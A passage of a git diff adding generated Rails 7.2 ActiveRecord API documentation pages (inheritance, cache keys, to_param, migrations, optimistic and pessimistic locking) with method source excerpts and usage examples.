# File activerecord/lib/active_record/fixtures.rb, line 730
+    def []=(k, v)
+      fixtures[k] = v
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + each(&block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/fixtures.rb, line 734
+    def each(&block)
+      fixtures.each(&block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + size() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/fixtures.rb, line 738
+    def size
+      fixtures.size
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + table_rows() + +

+ + +
+

Returns a hash of rows to be inserted. The key is the table, the value is a list of rows to insert to that table.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/fixtures.rb, line 744
+    def table_rows
+      # allow specifying fixtures to be ignored by setting `ignore` in `_fixture` section
+      fixtures.except!(*ignored_fixtures)
+
+      TableRows.new(
+        table_name,
+        model_class: model_class,
+        fixtures: fixtures,
+      ).to_hash
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/FutureResult.html b/src/7.2/classes/ActiveRecord/FutureResult.html new file mode 100644 index 0000000000..cc0d91e39a --- /dev/null +++ b/src/7.2/classes/ActiveRecord/FutureResult.html @@ -0,0 +1,75 @@ +--- +title: ActiveRecord::FutureResult +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/FutureResult/Complete.html b/src/7.2/classes/ActiveRecord/FutureResult/Complete.html new file mode 100644 index 0000000000..3c372dce58 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/FutureResult/Complete.html @@ -0,0 +1,241 @@ +--- +title: ActiveRecord::FutureResult::Complete +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + result
+ + + + +

Class Public methods

+ +
+

+ + new(result) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/future_result.rb, line 9
+      def initialize(result)
+        @result = result
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + canceled?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/future_result.rb, line 17
+      def canceled?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + pending?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/future_result.rb, line 13
+      def pending?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + then(&block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/future_result.rb, line 21
+      def then(&block)
+        Promise::Complete.new(@result.then(&block))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/FutureResult/EventBuffer.html b/src/7.2/classes/ActiveRecord/FutureResult/EventBuffer.html new file mode 100644 index 0000000000..3ea8458e6c --- /dev/null +++ b/src/7.2/classes/ActiveRecord/FutureResult/EventBuffer.html @@ -0,0 +1,199 @@ +--- +title: ActiveRecord::FutureResult::EventBuffer +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(future_result, instrumenter) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/future_result.rb, line 27
+      def initialize(future_result, instrumenter)
+        @future_result = future_result
+        @instrumenter = instrumenter
+        @events = []
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + flush() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/future_result.rb, line 42
+      def flush
+        events, @events = @events, []
+        events.each do |event|
+          event.payload[:lock_wait] = @future_result.lock_wait
+          ActiveSupport::Notifications.publish_event(event)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + instrument(name, payload = {}, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/future_result.rb, line 33
+      def instrument(name, payload = {}, &block)
+        event = @instrumenter.new_event(name, payload)
+        begin
+          event.record(&block)
+        ensure
+          @events << event
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Inheritance.html b/src/7.2/classes/ActiveRecord/Inheritance.html new file mode 100644 index 0000000000..6a9e93838c --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Inheritance.html @@ -0,0 +1,145 @@ +--- +title: ActiveRecord::Inheritance +layout: default +--- +
+ +
+
+ +
+ +

Single table inheritance

+ +

Active Record allows inheritance by storing the name of the class in a column that by default is named β€œtype” (can be changed by overwriting Base.inheritance_column). This means that an inheritance looking like this:

+ +
class Company < ActiveRecord::Base; end
+class Firm < Company; end
+class Client < Company; end
+class PriorityClient < Client; end
+
+ +

When you do Firm.create(name: "37signals"), this record will be saved in the companies table with type = β€œFirm”. You can then fetch this row again using Company.where(name: '37signals').first and it will return a Firm object.

+ +

Be aware that because the type column is an attribute on the record every new subclass will instantly be marked as dirty and the type column will be included in the list of changed attributes on the record. This is different from non Single Table Inheritance(STI) classes:

+ +
Company.new.changed? # => false
+Firm.new.changed?    # => true
+Firm.new.changes     # => {"type"=>["","Firm"]}
+
+ +

If you don’t have a type column defined in your table, single-table inheritance won’t be triggered. In that case, it’ll work just like normal subclasses with no special magic for differentiating between them or reloading the right type with find.

+ +

Note, all the attributes for all the cases are kept in the same table. Read more:

+ + +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + initialize_dup(other) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/inheritance.rb, line 343
+    def initialize_dup(other)
+      super
+      ensure_proper_type
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Inheritance/ClassMethods.html b/src/7.2/classes/ActiveRecord/Inheritance/ClassMethods.html new file mode 100644 index 0000000000..f6b3fca678 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Inheritance/ClassMethods.html @@ -0,0 +1,603 @@ +--- +title: ActiveRecord::Inheritance::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [RW] + abstract_class

Set this to true if this is an abstract class (see abstract_class?). If you are using inheritance with Active Record and don’t want a class to be considered as part of the STI hierarchy, you must set this to true. ApplicationRecord, for example, is generated as an abstract class.

+ +

Consider the following default behavior:

+ +
Shape = Class.new(ActiveRecord::Base)
+Polygon = Class.new(Shape)
+Square = Class.new(Polygon)
+
+Shape.table_name   # => "shapes"
+Polygon.table_name # => "shapes"
+Square.table_name  # => "shapes"
+Shape.create!      # => #<Shape id: 1, type: nil>
+Polygon.create!    # => #<Polygon id: 2, type: "Polygon">
+Square.create!     # => #<Square id: 3, type: "Square">
+
+ +

However, when using abstract_class, Shape is omitted from the hierarchy:

+ +
class Shape < ActiveRecord::Base
+  self.abstract_class = true
+end
+Polygon = Class.new(Shape)
+Square = Class.new(Polygon)
+
+Shape.table_name   # => nil
+Polygon.table_name # => "polygons"
+Square.table_name  # => "polygons"
+Shape.create!      # => NotImplementedError: Shape is an abstract class and cannot be instantiated.
+Polygon.create!    # => #<Polygon id: 1, type: nil>
+Square.create!     # => #<Square id: 2, type: "Square">
+
+ +

Note that in the above example, to disallow the creation of a plain Polygon, you should use validates :type, presence: true, instead of setting it as an abstract class. This way, Polygon will stay in the hierarchy, and Active Record will continue to correctly derive the table name.

+ [R] + base_class

Returns the first class in the inheritance hierarchy that descends from either an abstract class or from ActiveRecord::Base.

+ +

Consider the following behaviour:

+ +
class ApplicationRecord < ActiveRecord::Base
+  self.abstract_class = true
+end
+class Shape < ApplicationRecord
+  self.abstract_class = true
+end
+Polygon = Class.new(Shape)
+Square = Class.new(Polygon)
+
+ApplicationRecord.base_class # => ApplicationRecord
+Shape.base_class # => Shape
+Polygon.base_class # => Polygon
+Square.base_class # => Polygon
+
+ + + + + +

Instance Public methods

+ +
+

+ + abstract_class?() + +

+ + +
+

Returns whether this class is an abstract class or not.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/inheritance.rb, line 167
+      def abstract_class?
+        @abstract_class == true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + base_class?() + +

+ + +
+

Returns whether the class is a base class. See base_class for more information.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/inheritance.rb, line 119
+      def base_class?
+        base_class == self
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + descends_from_active_record?() + +

+ + +
+

Returns true if this does not need STI type condition. Returns false if STI type condition needs to be applied.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/inheritance.rb, line 82
+      def descends_from_active_record?
+        if self == Base
+          false
+        elsif superclass.abstract_class?
+          superclass.descends_from_active_record?
+        else
+          superclass == Base || !columns_hash.include?(inheritance_column)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(attributes = nil, &block) + +

+ + +
+

Determines if one of the attributes passed in is the inheritance column, and if the inheritance column is attr accessible, it initializes an instance of the given subclass instead of the base class.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/inheritance.rb, line 56
+      def new(attributes = nil, &block)
+        if abstract_class? || self == Base
+          raise NotImplementedError, "#{self} is an abstract class and cannot be instantiated."
+        end
+
+        if _has_attribute?(inheritance_column)
+          subclass = subclass_from_attributes(attributes)
+
+          if subclass.nil? && scope_attributes = current_scope&.scope_for_create
+            subclass = subclass_from_attributes(scope_attributes)
+          end
+
+          if subclass.nil? && base_class?
+            subclass = subclass_from_attributes(column_defaults)
+          end
+        end
+
+        if subclass && subclass != self
+          subclass.new(attributes, &block)
+        else
+          super
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + polymorphic_class_for(name) + +

+ + +
+

Returns the class for the provided name.

+ +

It is used to find the class correspondent to the value stored in the polymorphic type column.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/inheritance.rb, line 218
+      def polymorphic_class_for(name)
+        if store_full_class_name
+          name.constantize
+        else
+          compute_type(name)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + polymorphic_name() + +

+ + +
+

Returns the value to be stored in the polymorphic type column for Polymorphic Associations.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/inheritance.rb, line 211
+      def polymorphic_name
+        store_full_class_name ? base_class.name : base_class.name.demodulize
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + primary_abstract_class() + +

+ + +
+

Sets the application record class for Active Record

+ +

This is useful if your application uses a different class than ApplicationRecord for your primary abstract class. This class will share a database connection with Active Record. It is the class that connects to your primary database.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/inheritance.rb, line 177
+      def primary_abstract_class
+        if ActiveRecord.application_record_class && ActiveRecord.application_record_class.name != name
+          raise ArgumentError, "The `primary_abstract_class` is already set to #{ActiveRecord.application_record_class.inspect}. There can only be one `primary_abstract_class` in an application."
+        end
+
+        self.abstract_class = true
+        ActiveRecord.application_record_class = self
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sti_class_for(type_name) + +

+ + +
+

Returns the class for the provided type_name.

+ +

It is used to find the class correspondent to the value stored in the inheritance column.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/inheritance.rb, line 194
+      def sti_class_for(type_name)
+        if store_full_sti_class && store_full_class_name
+          type_name.constantize
+        else
+          compute_type(type_name)
+        end
+      rescue NameError
+        raise SubclassNotFound,
+          "The single-table inheritance mechanism failed to locate the subclass: '#{type_name}'. " \
+          "This error is raised because the column '#{inheritance_column}' is reserved for storing the class in case of inheritance. " \
+          "Please rename this column if you didn't intend it to be used for storing the inheritance class " \
+          "or overwrite #{name}.inheritance_column to use another column for that information. " \
+          "If you wish to disable single-table inheritance for #{name} set " \
+          "#{name}.inheritance_column to nil"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sti_name() + +

+ + +
+

Returns the value to be stored in the inheritance column for STI.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/inheritance.rb, line 187
+      def sti_name
+        store_full_sti_class && store_full_class_name ? name : name.demodulize
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Protected methods

+ +
+

+ + compute_type(type_name) + +

+ + +
+

Returns the class type of the record using the current module as a prefix. So descendants of MyApp::Business::Account would appear as MyApp::Business::AccountSubclass.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/inheritance.rb, line 242
+        def compute_type(type_name)
+          if type_name.start_with?("::")
+            # If the type is prefixed with a scope operator then we assume that
+            # the type_name is an absolute reference.
+            type_name.constantize
+          else
+            type_candidate = @_type_candidates_cache[type_name]
+            if type_candidate && type_constant = type_candidate.safe_constantize
+              return type_constant
+            end
+
+            # Build a list of candidates to search for
+            candidates = []
+            name.scan(/::|$/) { candidates.unshift "#{$`}::#{type_name}" }
+            candidates << type_name
+
+            candidates.each do |candidate|
+              constant = candidate.safe_constantize
+              if candidate == constant.to_s
+                @_type_candidates_cache[type_name] = candidate
+                return constant
+              end
+            end
+
+            raise NameError.new("uninitialized constant #{candidates.first}", candidates.first)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Integration.html b/src/7.2/classes/ActiveRecord/Integration.html new file mode 100644 index 0000000000..295d46c799 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Integration.html @@ -0,0 +1,416 @@ +--- +title: ActiveRecord::Integration +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + cache_timestamp_format + +

+ + +
+

Indicates the format used to generate the timestamp in the cache key, if versioning is off. Accepts any of the symbols in Time::DATE_FORMATS.

+ +

This is :usec, by default.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/integration.rb, line 16
+      class_attribute :cache_timestamp_format, instance_writer: false, default: :usec
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + cache_versioning + +

+ + +
+

Indicates whether to use a stable cache_key method that is accompanied by a changing version in the cache_version method.

+ +

This is true, by default on Rails 5.2 and above.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/integration.rb, line 24
+      class_attribute :cache_versioning, instance_writer: false, default: false
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + collection_cache_versioning + +

+ + +
+

Indicates whether to use a stable cache_key method that is accompanied by a changing version in the cache_version method on collections.

+ +

This is false, by default until Rails 6.1.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/integration.rb, line 32
+      class_attribute :collection_cache_versioning, instance_writer: false, default: false
+
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + cache_key() + +

+ + +
+

Returns a stable cache key that can be used to identify this record.

+ +
Product.new.cache_key     # => "products/new"
+Product.find(5).cache_key # => "products/5"
+
+ +

If ActiveRecord::Base.cache_versioning is turned off, as it was in Rails 5.1 and earlier, the cache key will also include a version.

+ +
Product.cache_versioning = false
+Product.find(5).cache_key  # => "products/5-20071224150000" (updated_at available)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/integration.rb, line 72
+    def cache_key
+      if new_record?
+        "#{model_name.cache_key}/new"
+      else
+        if cache_version
+          "#{model_name.cache_key}/#{id}"
+        else
+          timestamp = max_updated_column_timestamp
+
+          if timestamp
+            timestamp = timestamp.utc.to_fs(cache_timestamp_format)
+            "#{model_name.cache_key}/#{id}-#{timestamp}"
+          else
+            "#{model_name.cache_key}/#{id}"
+          end
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + cache_key_with_version() + +

+ + +
+

Returns a cache key along with the version.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/integration.rb, line 114
+    def cache_key_with_version
+      if version = cache_version
+        "#{cache_key}-#{version}"
+      else
+        cache_key
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + cache_version() + +

+ + +
+

Returns a cache version that can be used together with the cache key to form a recyclable caching scheme. By default, the updated_at column is used for the cache_version, but this method can be overwritten to return something else.

+ +

Note, this method will return nil if ActiveRecord::Base.cache_versioning is set to false.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/integration.rb, line 97
+    def cache_version
+      return unless cache_versioning
+
+      if has_attribute?("updated_at")
+        timestamp = updated_at_before_type_cast
+        if can_use_fast_cache_version?(timestamp)
+          raw_timestamp_to_cache_version(timestamp)
+
+        elsif timestamp = updated_at
+          timestamp.utc.to_fs(cache_timestamp_format)
+        end
+      elsif self.class.has_attribute?("updated_at")
+        raise ActiveModel::MissingAttributeError, "missing attribute 'updated_at' for #{self.class}"
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_param() + +

+ + +
+

Returns a String, which Action Pack uses for constructing a URL to this object. The default implementation returns this record’s id as a String, or nil if this record’s unsaved.

+ +

For example, suppose that you have a User model, and that you have a resources :users route. Normally, user_path will construct a path with the user object’s β€˜id’ in it:

+ +
user = User.find_by(name: 'Phusion')
+user_path(user)  # => "/users/1"
+
+ +

You can override to_param in your model to make user_path construct a path using the user’s name instead of the user’s id:

+ +
class User < ActiveRecord::Base
+  def to_param  # overridden
+    name
+  end
+end
+
+user = User.find_by(name: 'Phusion')
+user_path(user)  # => "/users/Phusion"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/integration.rb, line 57
+    def to_param
+      return unless id
+      Array(id).join(self.class.param_delimiter)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Integration/ClassMethods.html b/src/7.2/classes/ActiveRecord/Integration/ClassMethods.html new file mode 100644 index 0000000000..8b8ebd15cc --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Integration/ClassMethods.html @@ -0,0 +1,135 @@ +--- +title: ActiveRecord::Integration::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + to_param(method_name = nil) + +

+ + +
+

Defines your model’s to_param method to generate β€œpretty” URLs using method_name, which can be any attribute or method that responds to to_s.

+ +
class User < ActiveRecord::Base
+  to_param :name
+end
+
+user = User.find_by(name: 'Fancy Pants')
+user.id         # => 123
+user_path(user) # => "/users/123-fancy-pants"
+
+ +

Values longer than 20 characters will be truncated. The value is truncated word by word.

+ +
user = User.find_by(name: 'David Heinemeier Hansson')
+user.id         # => 125
+user_path(user) # => "/users/125-david-heinemeier"
+
+ +

Because the generated param begins with the record’s id, it is suitable for passing to find. In a controller, for example:

+ +
params[:id]               # => "123-fancy-pants"
+User.find(params[:id]).id # => 123
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/integration.rb, line 147
+      def to_param(method_name = nil)
+        if method_name.nil?
+          super()
+        else
+          define_method :to_param do
+            if (default = super()) &&
+                 (result = send(method_name).to_s).present? &&
+                   (param = result.squish.parameterize.truncate(20, separator: /-/, omission: "")).present?
+              "#{default}-#{param}"
+            else
+              default
+            end
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/InvalidForeignKey.html b/src/7.2/classes/ActiveRecord/InvalidForeignKey.html new file mode 100644 index 0000000000..519a36146e --- /dev/null +++ b/src/7.2/classes/ActiveRecord/InvalidForeignKey.html @@ -0,0 +1,66 @@ +--- +title: ActiveRecord::InvalidForeignKey +layout: default +--- +
+ +
+
+ +
+ +

Raised when a record cannot be inserted or updated because it references a non-existent record, or when a record cannot be deleted because a parent record references it.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/IrreversibleMigration.html b/src/7.2/classes/ActiveRecord/IrreversibleMigration.html new file mode 100644 index 0000000000..665102d8a7 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/IrreversibleMigration.html @@ -0,0 +1,139 @@ +--- +title: ActiveRecord::IrreversibleMigration +layout: default +--- +
+ +
+
+ +
+ +

Exception that can be raised to stop migrations from being rolled back. For example the following migration is not reversible. Rolling back this migration will raise an ActiveRecord::IrreversibleMigration error.

+ +
class IrreversibleMigrationExample < ActiveRecord::Migration[7.2]
+  def change
+    create_table :distributors do |t|
+      t.string :zipcode
+    end
+
+    execute <<~SQL
+      ALTER TABLE distributors
+        ADD CONSTRAINT zipchk
+          CHECK (char_length(zipcode) = 5) NO INHERIT;
+    SQL
+  end
+end
+
+ +

There are two ways to mitigate this problem.

+
  1. +

    Define #up and #down methods instead of #change:

    +
+ +
class ReversibleMigrationExample < ActiveRecord::Migration[7.2]
+  def up
+    create_table :distributors do |t|
+      t.string :zipcode
+    end
+
+    execute <<~SQL
+      ALTER TABLE distributors
+        ADD CONSTRAINT zipchk
+          CHECK (char_length(zipcode) = 5) NO INHERIT;
+    SQL
+  end
+
+  def down
+    execute <<~SQL
+      ALTER TABLE distributors
+        DROP CONSTRAINT zipchk
+    SQL
+
+    drop_table :distributors
+  end
+end
+
+
  1. +

    Use the reversible method in #change method:

    +
+ +
class ReversibleMigrationExample < ActiveRecord::Migration[7.2]
+  def change
+    create_table :distributors do |t|
+      t.string :zipcode
+    end
+
+    reversible do |dir|
+      dir.up do
+        execute <<~SQL
+          ALTER TABLE distributors
+            ADD CONSTRAINT zipchk
+              CHECK (char_length(zipcode) = 5) NO INHERIT;
+        SQL
+      end
+
+      dir.down do
+        execute <<~SQL
+          ALTER TABLE distributors
+            DROP CONSTRAINT zipchk
+        SQL
+      end
+    end
+  end
+end
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/IrreversibleOrderError.html b/src/7.2/classes/ActiveRecord/IrreversibleOrderError.html new file mode 100644 index 0000000000..f58d462e58 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/IrreversibleOrderError.html @@ -0,0 +1,66 @@ +--- +title: ActiveRecord::IrreversibleOrderError +layout: default +--- +
+ +
+
+ +
+ +

IrreversibleOrderError is raised when a relation’s order is too complex for reverse_order to automatically reverse.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/LockWaitTimeout.html b/src/7.2/classes/ActiveRecord/LockWaitTimeout.html new file mode 100644 index 0000000000..dc466949b3 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/LockWaitTimeout.html @@ -0,0 +1,66 @@ +--- +title: ActiveRecord::LockWaitTimeout +layout: default +--- +
+ +
+
+ +
+ +

LockWaitTimeout will be raised when lock wait timeout exceeded.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Locking.html b/src/7.2/classes/ActiveRecord/Locking.html new file mode 100644 index 0000000000..4475c1ab6e --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Locking.html @@ -0,0 +1,73 @@ +--- +title: ActiveRecord::Locking +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Locking/Optimistic.html b/src/7.2/classes/ActiveRecord/Locking/Optimistic.html new file mode 100644 index 0000000000..43eb8c5717 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Locking/Optimistic.html @@ -0,0 +1,113 @@ +--- +title: ActiveRecord::Locking::Optimistic +layout: default +--- +
+ +
+
+ +
+ +

What is Optimistic Locking

+ +

Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of conflicts with the data. It does this by checking whether another process has made changes to a record since it was opened, an ActiveRecord::StaleObjectError exception is thrown if that has occurred and the update is ignored.

+ +

Check out ActiveRecord::Locking::Pessimistic for an alternative.

+ +

Usage

+ +

Active Record supports optimistic locking if the lock_version field is present. Each update to the record increments the integer column lock_version and the locking facilities ensure that records instantiated twice will let the last one saved raise a StaleObjectError if the first was also updated. Example:

+ +
p1 = Person.find(1)
+p2 = Person.find(1)
+
+p1.first_name = "Michael"
+p1.save
+
+p2.first_name = "should fail"
+p2.save # Raises an ActiveRecord::StaleObjectError
+
+ +

Optimistic locking will also check for stale data when objects are destroyed. Example:

+ +
p1 = Person.find(1)
+p2 = Person.find(1)
+
+p1.first_name = "Michael"
+p1.save
+
+p2.destroy # Raises an ActiveRecord::StaleObjectError
+
+ +

You’re then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict.

+ +

This locking mechanism will function inside a single Ruby process. To make it work across all web requests, the recommended approach is to add lock_version as a hidden field to your form.

+ +

This behavior can be turned off by setting ActiveRecord::Base.lock_optimistically = false. To override the name of the lock_version column, set the locking_column class attribute:

+ +
class Person < ActiveRecord::Base
+  self.locking_column = :lock_person
+end
+
+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Locking/Optimistic/ClassMethods.html b/src/7.2/classes/ActiveRecord/Locking/Optimistic/ClassMethods.html new file mode 100644 index 0000000000..296e866ff4 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Locking/Optimistic/ClassMethods.html @@ -0,0 +1,247 @@ +--- +title: ActiveRecord::Locking::Optimistic::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
DEFAULT_LOCKING_COLUMN="lock_version"
+ + + + +

Attributes

+ + + + + + + + +
+ [R] + locking_column

The version column used for optimistic locking. Defaults to lock_version.

+ + + + + +

Instance Public methods

+ +
+

+ + locking_column=(value) + +

+ + +
+

Set the column to use for optimistic locking. Defaults to lock_version.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/locking/optimistic.rb, line 165
+          def locking_column=(value)
+            reload_schema_from_cache
+            @locking_column = value.to_s
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + locking_enabled?() + +

+ + +
+

Returns true if the lock_optimistically flag is set to true (which it is, by default) and the table includes the locking_column column (defaults to lock_version).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/locking/optimistic.rb, line 160
+          def locking_enabled?
+            lock_optimistically && columns_hash[locking_column]
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reset_locking_column() + +

+ + +
+

Reset the column used for optimistic locking back to the lock_version default.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/locking/optimistic.rb, line 174
+          def reset_locking_column
+            self.locking_column = DEFAULT_LOCKING_COLUMN
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + update_counters(id, counters) + +

+ + +
+

Make sure the lock version column gets updated when counters are updated.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/locking/optimistic.rb, line 180
+          def update_counters(id, counters)
+            counters = counters.merge(locking_column => 1) if locking_enabled?
+            super
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Locking/Pessimistic.html b/src/7.2/classes/ActiveRecord/Locking/Pessimistic.html new file mode 100644 index 0000000000..82a80ef763 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Locking/Pessimistic.html @@ -0,0 +1,223 @@ +--- +title: ActiveRecord::Locking::Pessimistic +layout: default +--- +
+ +
+
+ +
+ +

Pessimistic Locking

+ +

Locking::Pessimistic provides support for row-level locking using SELECT … FOR UPDATE and other lock types.

+ +

Chain ActiveRecord::Base#find to ActiveRecord::QueryMethods#lock to obtain an exclusive lock on the selected rows:

+ +
# select * from accounts where id=1 for update
+Account.lock.find(1)
+
+ +

Call lock('some locking clause') to use a database-specific locking clause of your own such as β€˜LOCK IN SHARE MODE’ or β€˜FOR UPDATE NOWAIT’. Example:

+ +
Account.transaction do
+  # select * from accounts where name = 'shugo' limit 1 for update nowait
+  shugo = Account.lock("FOR UPDATE NOWAIT").find_by(name: "shugo")
+  yuko = Account.lock("FOR UPDATE NOWAIT").find_by(name: "yuko")
+  shugo.balance -= 100
+  shugo.save!
+  yuko.balance += 100
+  yuko.save!
+end
+
+ +

